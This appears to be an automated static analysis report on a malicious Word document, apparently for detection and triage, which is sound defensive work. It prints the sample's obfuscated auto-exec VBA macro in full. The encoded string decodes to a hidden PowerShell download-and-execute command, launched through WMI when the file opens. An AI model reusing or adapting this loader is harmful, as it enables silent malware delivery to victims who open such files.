Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 705ba8c4ea8b31dc…

MALICIOUS

Office (OOXML)

21.9 KB Created: 2020-12-13 11:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-12-28
MD5: 7df286e6c4de68e0cb37a62f286f1a6a SHA-1: a2a52af02ccf805f3143d94a9d6c1472cc087ba1 SHA-256: 705ba8c4ea8b31dca707642273104723a643e84f9332941f758470a9f85504c7
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

This OOXML document contains heavily obfuscated VBA macros, including AutoOpen and Document_Open functions, designed to execute a payload. The script reconstructs a string that is used with GetObject to interact with WMI, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Valyria-10010644-0' further supports its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10010644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10010644-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     strArg = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
 GetObject("winmgmts:").Get(Vix("104122127068067112097131128116118132132")).Create strArg, Null, Null, pid
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
     strArg = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
 GetObject("winmgmts:").Get(Vix("104122127068067112097131128116118132132")).Create strArg, Null, Null, pid
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
 MyMacro
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Sub Document_Open()
 MyMacro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1308 bytes
SHA-256: 1ddef61cdc7083418033a1a616bfb26da88a9fb76827e8860b77ea49bf250953
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function Pears(Beets)
 Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
 Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
 Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Vix(Milk)
 Do
 Oatmilk = Oatmilk + Pears(Strawberries(Milk))
 Milk = Almonds(Milk)
 Loop While Len(Milk) > 0
 Nuts = Oatmilk
End Function
Sub MyMacro()
 strArg = Vix("129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063073073063066069067064131134127067063133137133056058058")
 GetObject("winmgmts:").Get(Vix("104122127068067112097131128116118132132")).Create strArg, Null, Null, pid
End Sub
Sub Document_Open()
 MyMacro
End Sub
Sub AutoOpen()
 MyMacro
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 60e65541d5b216362102d661978c357c3d0c33136df36a0a54611df713d1d742
Detection
ClamAV: Doc.Malware.Valyria-10010644-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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